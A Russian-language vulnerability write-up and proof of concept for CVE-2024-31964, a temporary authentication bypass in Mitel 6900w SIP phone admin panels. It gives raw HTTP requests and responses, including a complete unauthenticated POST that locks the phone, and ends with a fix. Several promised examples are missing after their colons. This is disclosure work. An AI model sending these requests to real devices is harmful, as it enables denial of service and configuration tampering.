
Эксплойт доказательства концепции для CVE-2024-31964, временный обход аутентификации в SIP-телефонах Mitel серии 6900w, позволяющий неаутентифицированным POST-запросам изменять конфигурацию устройства и выполнять отказ в обслуживании.
CVE-2024-31964 PoC: Телефон SIP серии Mitel 6900w - Временный обход аутентификации
Она заключается во временном обходе аутентификации в панели административного веб-сайта HTTP нескольких продуктов Mitel.
Позволяет злоумышленнику изменять конфигурацию устройства и выполнять атаки типа «отказ в обслуживании» на затронутое устройство.
Пользователь должен был успешно войти в систему за несколько минут до этого и с того же исходного IP-адреса, что и злоумышленник.
Предлагаемый CVSS:
Уведомление: Mitel Product Security Advisory 24-0007
Эта CVE была обнаружена при аудите 3 SIP-телефонов со следующими свойствами (эта CVE была успешно протестирована на этих 3 моделях устройств):
Согласно уведомлению Mitel, это затрагивает больше продуктов, но у меня не было доступа ни к одному из них, чтобы это проверить.
Как правило, для доступа к любому ресурсу панели управления/администрирования Mitel необходимо отправлять запросы с заголовком "Authorization", который устанавливает учетные данные пытающегося получить доступ пользователя.
Пример аутентифицированного запроса:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Если этот заголовок не установлен, мы получаем ошибку "Unauthorized", и нас просят аутентифицироваться, требуя учетные данные.
Неаутентифицированный GET-запрос:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Ответ:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
Однако оказывается, что все POST-запросы от приложения могут быть выполнены без установки заголовка Authorization, т.е. как неаутентифицированный пользователь, при условии, что легитимный пользователь ранее вошел в систему с того же исходного IP-адреса, что и злоумышленник, и в течение ограниченного времени (было измерено, что временное окно составляет примерно 8 минут). То есть, если легитимный пользователь входит на веб-сайт управления устройством, существует окно примерно в 8 минут, в течение которого злоумышленник с тем же IP-адресом, что и вошедший пользователь, может выполнять неаутентифицированные POST-запросы, не зная учетных данных. Уязвимость довольно ограничительна из-за требования разделять IP с легитимным пользователем, но в случаях, когда ПК является общим или компьютеры доступны через один и тот же прокси-сервер, возможности эксплуатации будут выше.
С помощью POST-запросов можно изменять пароли пользователей (требуется предварительное знание пароля), блокировать/разблокировать устройство, сбрасывать устройство, загружать CSV-файлы контактов, настраивать сервер конфигурации и т.д.
Например, если мы попытаемся заблокировать устройство без заголовка Authorization, мы увидим, что устройство эффективно блокируется, отказывая пользователю в обслуживании, и мы также можем перезагрузить телефон, временно полностью отказывая в обслуживании. В качестве быстрого теста мы также эффективно изменили клавиши быстрого набора и сервер конфигурации.
Пример неаутентифицированного запроса блокировки телефона:

POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Успешный неаутентифицированный ответ:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
Дополнительно мы можем запросить сброс устройства:

И использовать ping для проверки временной потери связи:

Мы можем изменить большинство параметров... Например, FTP-сервер:

Заголовок Authorization всегда должен требоваться и проверяться, и/или сессия должна управляться с помощью cookies, а не исходных IP-адресов.